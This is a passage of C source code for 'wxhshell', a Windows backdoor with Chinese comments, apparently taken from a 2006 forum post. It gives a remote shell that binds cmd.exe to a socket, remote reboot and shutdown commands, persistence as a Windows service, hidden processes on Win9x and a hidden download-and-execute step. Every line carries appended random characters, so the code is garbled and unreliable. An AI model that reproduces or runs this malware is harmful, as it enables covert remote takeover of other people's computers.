  else { Fa+PN9M`?.  
=53LapTPJ  
    switch(cmd[0]) { 3<mv9U(  
  \|62E):i1  
  // 帮助 87<y_P@{  
  case '?': { mnmwO(.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oN `tZ;a  
    break; #mkr]K8A4  
  } m qw!C  
  // 安装 lmmyDg1R  
  case 'i': { -'}iK6  
    if(Install()) p Hg8(ru|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C4 Wdt  
    else Gzp)OHgJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M\v4{\2l0  
    break; /$eEj  
    } E0O{5YF^T  
  // 卸载 FJU)AjS~  
  case 'r': { ^ w&TTo(  
    if(Uninstall()) lZ)u4_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,4=<;PF  
    else t91CxZQ^s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f2yv7t T   
    break; nr-mf]W&  
    } #[KwR\b{:+  
  // 显示 wxhshell 所在路径 ok6e=c '  
  case 'p': { :T{or-  
    char svExeFile[MAX_PATH]; 8dA/dMQ  
    strcpy(svExeFile,"\n\r"); $s]@%6 f  
      strcat(svExeFile,ExeFile); iMA)(ZS  
        send(wsh,svExeFile,strlen(svExeFile),0); vq5I 2  
    break; <M&]*|q>g%  
    } n/|/Womr  
  // 重启 |@ldXuYb  
  case 'b': { w5*18L=O\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^U`q1Pg5  
    if(Boot(REBOOT)) <=7)t.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~IqT >  
    else { njq-iU  
    closesocket(wsh); X4k/7EA  
    ExitThread(0); F_r eBPx  
    } /uyQ>Y*-\Y  
    break; 4Dd9cG,lN  
    } RsOK5XnQn  
  // 关机 " LxJPt\  
  case 'd': { @2$8o]et  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }`M6+.z3F  
    if(Boot(SHUTDOWN)) 4xYo2X,B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < Ihn1?  
    else { <bjy<98LT  
    closesocket(wsh); .N'UnKz  
    ExitThread(0); ^CE:?>a$  
    } )xK!i.  
    break; b,`\"'1  
    } nWl0R=  
  // 获取shell $U0(%lIU  
  case 's': { MnS"M[y3  
    CmdShell(wsh); (,TO|  
    closesocket(wsh); f7W=x6Z4  
    ExitThread(0); C`#N Q*O  
    break; 6,h<0j{  
  } 2kgm)-z  
  // 退出 0jzA\$oD  
  case 'x': { ]e3nnS1*.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w[+!c-A:H  
    CloseIt(wsh); 5;Z~+$1  
    break; ""a8eB 6  
    } co@8w!W  
  // 离开 lz*2wGI9  
  case 'q': { jFc{$#g-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x!jhWX  
    closesocket(wsh); Lf:Z (Z>  
    WSACleanup(); b7,qzh  
    exit(1); 0IdD   
    break;  {Eb6.  
        } oaK~:'  
  } B)|s.Ez  
  } -s1VlS/  
d{m0uX56  
  // 提示信息 Fi`:G}   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z[rB/ |2  
} o99 a=x6  
  } *o#`lH  
={Hbx> p  
  return; aF=VJ+5  
} o MAK[$k;  
=ht@7z8QM  
// shell模块句柄 EAkP[au.  
int CmdShell(SOCKET sock) L!G3u/  
{ zN:752d^+r  
STARTUPINFO si; Cf N; `  
ZeroMemory(&si,sizeof(si)); <>Im$N ai  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,rdM{ r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G~]BC#nB_  
PROCESS_INFORMATION ProcessInfo; 3 /e !7  
char cmdline[]="cmd"; 1%+^SR72  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D5p22WY  
  return 0; FN R& :  
} gkdjH8(2  
o (zg_!P  
// 自身启动模式 L}mhMxOTi  
int StartFromService(void) x9e 9$ww}  
{ vKC>t95  
typedef struct 4kM<L}J#  
{ 'yNp J'  
  DWORD ExitStatus; GND[f}  
  DWORD PebBaseAddress; g;h&Xkp  
  DWORD AffinityMask; 9T1G/0k-  
  DWORD BasePriority; 6>Cubb>  
  ULONG UniqueProcessId; t|m3b~Oyv  
  ULONG InheritedFromUniqueProcessId; r:cUAe7#  
}   PROCESS_BASIC_INFORMATION; 4HJrR^  
Qi61(lK  
PROCNTQSIP NtQueryInformationProcess; 3C2 >   
|3L MVN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "mf;k^sqS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xy{+=UY  
uE$o4X  
  HANDLE             hProcess; 4Rn i7qH  
  PROCESS_BASIC_INFORMATION pbi; }NXESZYoi  
2~<0<^j/]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _biJch  
  if(NULL == hInst ) return 0; D/WS  
{JgN^R<5<f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OOCeZ3yF(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kWd'gftQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t/Fe"T[,V  
UU;:x"4  
  if (!NtQueryInformationProcess) return 0; z#4g,)ZX  
7 'S]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 63HkN4D4  
  if(!hProcess) return 0; {E/TC%  
kXr%73s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GpL#, qYc  
E@Fen CF  
  CloseHandle(hProcess); X d6y7s  
f<wgZM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tt\w^Gv\d  
if(hProcess==NULL) return 0; UVK"%kW#(  
pA'A<|)K0  
HMODULE hMod; * 5n:+Tw(  
char procName[255]; 8=~>B@'  
unsigned long cbNeeded; ShpnFuH  
lI 1lP 1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lNb\^b  
={^#E?  
  CloseHandle(hProcess); oK6lCGM5  
tOw 0(-:iq  
if(strstr(procName,"services")) return 1; // 以服务启动 x8Sq+BY  
G$ FBx  
  return 0; // 注册表启动 ~<aB-. d  
} C)j)j&  
.KN]a"]  
// 主模块 :!$z1u8R  
int StartWxhshell(LPSTR lpCmdLine) ">3@<f>  
{ +0Gep}&z.  
  SOCKET wsl; Kcl$|T  
BOOL val=TRUE; #A; Z4jK  
  int port=0; YkX=n{^  
  struct sockaddr_in door; zwtsw[.  
]B4mm__  
  if(wscfg.ws_autoins) Install(); UD{/L"GG  
OX4D'  
port=atoi(lpCmdLine); )*ckJK  
=]e^8;e9  
if(port<=0) port=wscfg.ws_port; +pvJ?"J  
M>@R=f  
  WSADATA data; W1 Qc1T8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >nQ yF  
{M/c!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E,7~kd~y`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l{9h8]^  
  door.sin_family = AF_INET; )_cv}.xe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @ WaYU  
  door.sin_port = htons(port); K*$#D1hG  
<q\) o_tH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $0T"YC%  
closesocket(wsl); 4-_lf(# i  
return 1; P-[K*/bPw  
} "\;wMR{  
Bq@wS\W>b}  
  if(listen(wsl,2) == INVALID_SOCKET) { _eV n#!|  
closesocket(wsl); x-&v|w'  
return 1;  2p>SB/  
} Y)}%SP>,  
  Wxhshell(wsl); +o]BjgG  
  WSACleanup(); Aw;vg/#~md  
'V#ew\  
return 0; N?0y<S ?!  
C+XZDY(=Z  
} 4rG 7\  
1m;*fs  
// 以NT服务方式启动 *]R 0z|MW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V(LFH9.Mp  
{ {yMA7W7]  
DWORD   status = 0; v`^J3A  
  DWORD   specificError = 0xfffffff; UUu-(H-J  
*`Xx_   
  serviceStatus.dwServiceType     = SERVICE_WIN32; }Y`<(V5:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bpa O`[*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^G&D4uZ  
  serviceStatus.dwWin32ExitCode     = 0; ?K {1S  
  serviceStatus.dwServiceSpecificExitCode = 0; JZ/O0PW  
  serviceStatus.dwCheckPoint       = 0;  ii y3  
  serviceStatus.dwWaitHint       = 0; BWdc^  
uhB!k-ir  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); orH0M!OtS!  
  if (hServiceStatusHandle==0) return; ApYud?0b  
x ;,xd  
status = GetLastError(); F LI8r:  
  if (status!=NO_ERROR) p''"E$B/(  
{  F'FZ?*a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  x9"4vp  
    serviceStatus.dwCheckPoint       = 0; |qcFmy  
    serviceStatus.dwWaitHint       = 0; 2 BX GVo  
    serviceStatus.dwWin32ExitCode     = status; f&|A[i>g  
    serviceStatus.dwServiceSpecificExitCode = specificError; QhQ"OVFr#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8`2<g0V2  
    return; ,G|aLBn  
  } 5;8B!%b  
\K~fRUo]=c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ;c Co+(  
  serviceStatus.dwCheckPoint       = 0; A]Tcj^#  
  serviceStatus.dwWaitHint       = 0; ,GkW. vEU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); An #Hb=  
} s%[GQQ-N  
UXPegK!  
// 处理NT服务事件,比如:启动、停止 Wk#h,p3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \UqS -j|  
{ )9L pX  
switch(fdwControl) HJaw\zbL  
{ kEhm'  
case SERVICE_CONTROL_STOP: ct4 [b|  
  serviceStatus.dwWin32ExitCode = 0; i4zV(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qy5Os?9"  
  serviceStatus.dwCheckPoint   = 0; 6$s0-{^  
  serviceStatus.dwWaitHint     = 0; br;H8-   
  { ()M@3={R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7k=F6k0)  
  } B$TChc3B  
  return; @ Rx6 >52>  
case SERVICE_CONTROL_PAUSE: |4S?>e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !Nl.Vb  
  break; M*|VLOo=v  
case SERVICE_CONTROL_CONTINUE: }"?nU4q;S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zxc7nLKF~  
  break; (s$u_aq 77  
case SERVICE_CONTROL_INTERROGATE: ? x"HX|n  
  break; !@<@QG-  
}; N^ s!!Sbpq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p&sK\   
} VkDS&g~Ws  
(y~laW!  
// 标准应用程序主函数 MATgJ`lsy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !3I(4?G,  
{ daB l%a=  
8HFXxpt[G  
// 获取操作系统版本 -*%!q$:  
OsIsNt=GetOsVer();  /MqXwUbO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z{pC7e5  
a We Bav}_  
  // 从命令行安装 >*= =wlOB  
  if(strpbrk(lpCmdLine,"iI")) Install(); q)V1{B@  
twtkH~`"Q  
  // 下载执行文件 xshAr J&A  
if(wscfg.ws_downexe) { 8VuZ,!WH#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l{6` k<J(  
  WinExec(wscfg.ws_filenam,SW_HIDE); =,4 '"  
} K6v $#{$6  
aM{@1m Bm  
if(!OsIsNt) { 8pk#sJ51  
// 如果时win9x,隐藏进程并且设置为注册表启动 f(6UL31  
HideProc(); 8wX+ZL: 9  
StartWxhshell(lpCmdLine); yS)- &t!;  
} w}j6 .r  
else i}`_H^  
  if(StartFromService()) cK[R1 ReH  
  // 以服务方式启动 FE+7X=y  
  StartServiceCtrlDispatcher(DispatchTable); J 0Hm)*  
else J1tzHa6  
  // 普通方式启动 R+{^@M&  
  StartWxhshell(lpCmdLine); Y@]);MyL  
7a:*Y"f,~  
return 0; 4@v1jJj  
}
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只看该作者 1 发表于: 2006-10-10
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